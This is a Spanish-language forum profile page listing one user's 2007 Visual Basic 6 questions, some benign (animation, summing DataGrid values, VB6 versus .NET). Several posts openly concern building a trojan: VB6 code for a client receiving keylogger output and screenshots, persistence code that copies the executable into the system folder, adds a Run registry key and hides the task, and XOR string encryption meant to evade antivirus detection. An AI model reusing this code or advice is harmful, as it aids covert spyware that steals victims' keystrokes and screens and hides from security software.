últimos mensajes de: Belial & Grimoire

Mostrar Mensajes
Páginas: 1 ... 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [48] 49

471

Programación / Programación Visual Basic / como reparto esto?

en: 2 Septiembre 2007, 18:52 pm

hola

tengo un problema... estoy haciendo un programa para captar la pantalla del escritorio junto con un keylogger... como lo hacen algunos troyanos.... el problema que tengo es que no logro repartir la transferencia de datos

por ejemplo, tengo en el cliente esto

Código:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim nombr() As String, cad As String
ws.GetData datos
If Left(datos, 3) = "env" Then
nombr = Split(datos, "-")
cad = nombr(1)
Text1.txtEnviar = cad
End If
If Left(datos, 7) = "archivo" Then
    dato = Split(datos, "|")
    filesize = dato(1)
    redi = filesize / 20000
    redi = redi + 2
    ReDim archivo(redi)
    
    Open App.path & "\Captura.bmp" For Binary As #1
    enviaraccion "enviar"
    datos3 = ""
Else
If Len(archivo(i)) < 20000 Then
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Else
i = i + 1
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Put #1, , archivo(i - 1)
archivo(i - 1) = ""
End If
If tamaño = filesize Then
Put #1, , archivo(i)
tamaño = 0
archivo(i) = ""
Image1.Picture = LoadPicture(App.path & "\Captura.bmp")
Close #1
i = 0
End If
DoEvents
End If
End sub

El problema es que si coloco todo esto no funcionan los dos... solo funciona 1

ya que si unicamente coloco esto... el keylogger funciona

Código:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim nombr() As String, cad As String
ws.GetData datos
If Left(datos, 3) = "env" Then
nombr = Split(datos, "-")
cad = nombr(1)
Text1.txtEnviar = cad
End If
End sub

Y si unicamente coloco esto... puedo capturar la pantalla sin problemas...

Código:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos
If Left(datos, 7) = "archivo" Then
    dato = Split(datos, "|")
    filesize = dato(1)
    redi = filesize / 20000
    redi = redi + 2
    ReDim archivo(redi)
    
    Open App.path & "\Captura.bmp" For Binary As #1
    enviaraccion "enviar"
    datos3 = ""
Else
If Len(archivo(i)) < 20000 Then
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Else
i = i + 1
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Put #1, , archivo(i - 1)
archivo(i - 1) = ""
End If
If tamaño = filesize Then
Put #1, , archivo(i)
tamaño = 0
archivo(i) = ""
Image1.Picture = LoadPicture(App.path & "\Captura.bmp")
Close #1
i = 0
End If
DoEvents
End If
End sub

Pero si coloco los dos juntos... solo puedo utilizar 1 de ellos... porke si hago una captura de pantalla todo funciona bien, pero si utilizo el keylogger me aparece un mensaje que dice que una parte de codigo esta fuera de intervalo....

Código:

If Len(archivo(i)) < 20000 Then

como puedo hacer para separarlos?...

ya utilize...

Código:

Exit Sub  ---> para separar el codigo del keylogger y del codigo para capturar la pantalla

Pero solo me deja utilizar uno de ellos...

Alguien tiene alguna idea...? Espero puedan ayudarme

Gracias

472	Programación / Programación Visual Basic / mas tiempo de vida o dejarlo en el pasado...	en: 26 Agosto 2007, 18:49 pm
hola alguien me podria decir si va a desaparecer visual basic 6 con la llegada de visual basic.net?... ya que al parecer en sistemas operativos como windows vista... muchos han tenidos problemas con visual 6 uds. creen que sea mejor que aprenda visual basic.net y ya vaya dejando a un lado visual 6 o creen que no hay nada de que preocuparme?... ya que utilize visual basic 2005 para ver que tal esta... pero es cierto lo que dicen muchos.. hay muchas cosas que kambian, otro dicen que es casi un nuevo lenguaje de programacion.. pero lo que me importa ahora es que tengo algunos programas hechos en visual 6 y dicen que si funcionan en windows vista, pero que puede haber la posibilidad de que no se puedan compilar los programas... y el problema es que tengo varios programas con funcionalidades en apis, cosa que ya kasi no funciona en visual 2005 uds que piensan?, kreen que visual basic 6... todavia tenga mas tiempo de vida?... o es hora de aprender a utilizar visual.net y empezar a olvidar visual 6 espero su respuesta gracias

473	Programación / Programación Visual Basic / Re: expliquenme como cifrar o diganme si estoy bien... porfavor	en: 21 Agosto 2007, 20:54 pm
hola jeje.. tienen razon, solamente lo que va entre " " es lo que se puede cifrar.... y ya lo intente y ya logre solucionarlo... y la funcion de hades.. esta mas simple... voy aver que tal me va... gracias por la ayuda

474

Programación / Programación Visual Basic / Re: expliquenme como cifrar o diganme si estoy bien... porfavor

en: 20 Agosto 2007, 22:23 pm

hola

Ahh.. ok..

gracias por la info... solo tengo otra duda...

se puede cifrar cualquier codigo... o no todo...

ya que intente cifrar el clasico App.TaskVisible = False pero no supe como colocarlo para que me funcionara...

Tambien intente hacer esto... pero tampoco funciona

Código:


Dim win
Dim sys
Dim residencia
ejec = App.path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\programa"
Name sys & "\programa" As sys & "\programa.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "programa", sys & "\programa.exe"
App.TaskVisible = False

intente encriptarlo con un codigo que encontre... es este

Código:

Private Sub Command1_Click()
Dim TextoAux As String, Texto As String
    Dim I As Integer
    Texto = ""
    TextoAux1 = Text1.Text
    For I = 1 To Len(TextoAux1)
        Text1.SelStart = I - 1
        Text1.SelLength = 1
        TextoAux = Text1.SelText
        Texto = Texto + Chr$(Asc(TextoAux) Xor 20)
    Next I
    Text1.Text = Texto

End Sub

pero al encriptarlo no puedo hacer que se desencripte para que funcione.. intente modificarlo como lo que puse abajo y funciona para desencriptarlo, pero al ejecutarlo ya no funciona... y esto es lo que me detecta el antivirus

Código:


"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "programa", sys & "\programa.exe"
App.TaskVisible = False

y si hago esto el codigo funciona

Código:


Private Sub Form_Load()
decrypt ("\_QMKWAFFQZ@KAGQFHG{r`cufqHY}wf{g{r`HC}zp{cgHWaffqz`Bqfg}{zHFazH64246df{sfuyu684gmg4246Hdf{sfuyu:qlq")
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Esto:

\_QMKWAFFQZ@KAGQFHG{r`cufqHY}wf{g{r`HC}zp{cgHWaffqz`Bqfg}{zHFazH64246df{sfuyu684gmg4246Hdf{sfuyu:qlq

ES ESTO...

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "programa", sys & "\programa.exe

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Private function decrypt(text2  as string)
Dim TextoAux As String, texto As String
    Dim I As Integer
    texto = ""
    Text1.Text = text2
    textoaux1 = Text1.Text
    For I = 1 To Len(textoaux1)
        Text1.SelStart = I - 1
        Text1.SelLength = 1
        TextoAux = Text1.SelText
        texto = texto + Chr$(Asc(TextoAux) Xor 20)
    Next I
text1.text = texto
End Function

y no se si tenga que kedar asi...

Código:

Private function decrypt(text2  as string)
Dim TextoAux As String, texto As String
    Dim I As Integer
    texto = ""
    Text1.Text = text2
    textoaux1 = Text1.Text
    For I = 1 To Len(textoaux1)
        Text1.SelStart = I - 1
        Text1.SelLength = 1
        TextoAux = Text1.SelText
        texto = texto + Chr$(Asc(TextoAux) Xor 20)
    Next I
Dim win
Dim sys
Dim residencia
ejec = App.path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\programa"
Name sys & "\programa" As sys & "\programa.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite texto
app.taskvisibe= false

pero al ejecutarlo... no funciona... alguien sabe porke?

475	Programación / Programación Visual Basic / expliquenme como cifrar o diganme si estoy bien... porfavor	en: 20 Agosto 2007, 10:33 am
hola estoy leyendo por primera vez el metodo de enciptacion... y no he logrado entender bien.. a ver.. primero tengo que crear un programa que me encripte por strings .. pero que? es acaso los codigos de mi programa.. el nombre de mi programa o que? creo que es... los codigos de mi programa... pero mejor diganme uds... luego tengo que crear una funcion que desencripte los codigo al ejecutarlo para que puedan ser interpretados por las computadoras y que funcione mi programa... esto es cierto o tambien me equivoco? y si las dos son ciertas... entre mas codigo cifrado tenga, menos posibilidades de ser detectado por los antivirus es mi troyano?... espero su respuesta gracias P.D. cuales son las funciones de los worm?.. o en otras palabras como funcionan?... acaso sirven para unirse a otros programas para no ser detectados tan facilmente o para que sirven...?

476	Programación / Programación Visual Basic / Re: como puedo crear una animacion	en: 12 Agosto 2007, 02:13 am
hola WOW... sorprendente... gracias a todos por las respuesta el codigo me funiciono bastante bien.. gracias

477	Programación / Programación Visual Basic / Re: como puedo crear una animacion	en: 11 Agosto 2007, 17:45 pm
hola ok gracias... pero como puedo hacer que un timer sume hasta algun intervalo y luego lo reste por ejemplo... si yo kisiera que image.left fuera de 120 hasta 8760 y de 8760 a 120 como lo podria hacer... y el timer como podria hacer que sume la unidad.. ya que lo intente pero la imagen cuando ejecuto el form va de 120 a 8760 tan rapido que nisiquiera se nota como se desplaza... y lo que quiero hacer es que una imagen se desplaze de un lugar a otro, pero que se vea como se mueve, de una forma lenta... alguien me podria ayudar con un ejemplo o lago? espero su respuesta gracias

478	Programación / Programación Visual Basic / como puedo crear una animacion	en: 11 Agosto 2007, 09:49 am
hola como puedo hacer una animacion desde visual basic 6 lo que quiero hacer.. es que una imagen vaya de izquierda a derecha y de derecha a izquierda.... pero no se que tengo que hacer... alguien me podria ayudar gracias

479

Programación / Programación Visual Basic / Re: como puedo sumar esto???

en: 13 Julio 2007, 20:41 pm

hola

ya encontre como sumarlos... en vez de hacer esto..

Código:

Private Sub DataGrid1_HeadClick(ByVal ColIndex As Integer)
Dim Datos As String

    For i = 0 To DataGrid1.ApproxCount - 1

        Datos = CStr(Datos & DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(i)) & vbNewLine)
        DoEvents
    Next

    Text2.Text = Datos
End Sub

puedo hacer esto...

Código:

Datos = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(0)))
datos2 = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(1)))

Text2.Text = Datos + datos2

y con esto ya logre sumarlos.. pero alguien sabe como puedo hacer que esto...

Datos = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(0)))
datos2 = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(1)))

se genere automaticamente .. y esto tambien..

Text2.Text = Datos + datos2

porke hacerlo manualmente seria demasiado codigo... tendria que hacer esto..

Código:

Datos = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(0)))
datos2 = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(1)))
datos3 = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(2)))
datos4 = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(3)))
Datos5 = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(4)))
Datos6 = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(5)))
Datos7 = Val(DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(6)))

etc...

Text2.Text = Datos + datos2 + datos3 + datos4 + Datos5 + Datos6 + Datos7... etc

hay alguna funcion de for i ... que sea parecida a la de C++ donde si coloco

for ( int i=0; i<40; i++)

se genera automaticamente alguna funcion las 40 veces y resguarda la informacion ingresada...

lo que pasa es que ahora quiero hacer algun codigo para no tener que colocar tanto codigo repetitivo en el programa como lo mostre arriba.. sino algun codigo que me genere eso automaticamente..

espero alguien sepa

espero su respuesta

480

Programación / Programación Visual Basic / Re: como puedo sumar esto???

en: 13 Julio 2007, 19:30 pm

hola

gracias por la respuesta... pero tengo una duda.. lo voy a plantear completo para ver si me pueden ayudar... lo que pasa es que esto haciendo un programa de base de datos ya que nunca lo habia hecho y keria intentar hacer uno para aprender... el programa habre los archivos en data grid... y al seleccionarlos todos lo que keria era sumarlos.. pero no se como... y esto es lo unico que me hace falta para terminarlo...

este es el codigo que tengo... no es muy bueno.. pero estoy empezando..

Código:

Private Sub Adodc1_Error(ByVal ErrorNumber As Long, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, fCancelDisplay As Boolean)
fCancelDisplay = True
End Sub


Private Sub Command2_Click()

sBase = Label3.Caption

    
  Adodc1.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & sBase
    Adodc1.CommandType = adCmdTable
   Select Case Combo1.Text
   Case "ABRIL"
   Adodc1.RecordSource = Combo1.Text
   Adodc1.Refresh
   Case "MAYO"
   Adodc1.RecordSource = Combo1.Text
   Adodc1.Refresh
   End Select

    Adodc1.Refresh
    Set DataGrid1.DataSource = Adodc1.Recordset


End Sub


Private Sub DataGrid1_HeadClick(ByVal ColIndex As Integer)
Dim Datos As String

    For i = 0 To DataGrid1.ApproxCount - 1

        Datos = CStr(Datos & DataGrid1.Columns(ColIndex).CellValue(DataGrid1.GetBookmark(i)) & vbNewLine)
        DoEvents
    Next

    Text2.Text = Datos
End Sub


Private Sub mnuAbrir_Click()
On Error GoTo err
cmd.Filter = "Base de datos (*.mdb)|*.mdb"
cmd.ShowOpen
sBase = cmd.FileName
Label3.Caption = cmd.FileName
    
  Adodc1.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & sBase
    Adodc1.CommandType = adCmdTable
   Select Case Combo1.Text
   Case "ABRIL"
   Adodc1.RecordSource = Combo1.Text
   Adodc1.Refresh
   Case "MAYO"
   Adodc1.RecordSource = Combo1.Text
   Adodc1.Refresh
   End Select

    Adodc1.Refresh
    Set DataGrid1.DataSource = Adodc1.Recordset

Exit Sub
err:
End Sub

Private Sub mnusalir_Click()
End
End Sub

este es un ejemplo que tengo para crear el programa.... y si se fijan en la imagen al seleccionar todos... en la caja de textos de abajo, logro colocar todos lo numero, pero no se como sumarlos... y eso es lo unico que me hace falta para terminarlo... alguien sabe alguna forma de sumar todo eso...

por favor ayudenme.. eso es lo unco que me falta

espero su ayuda

gracias

Páginas: 1 ... 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [48] 49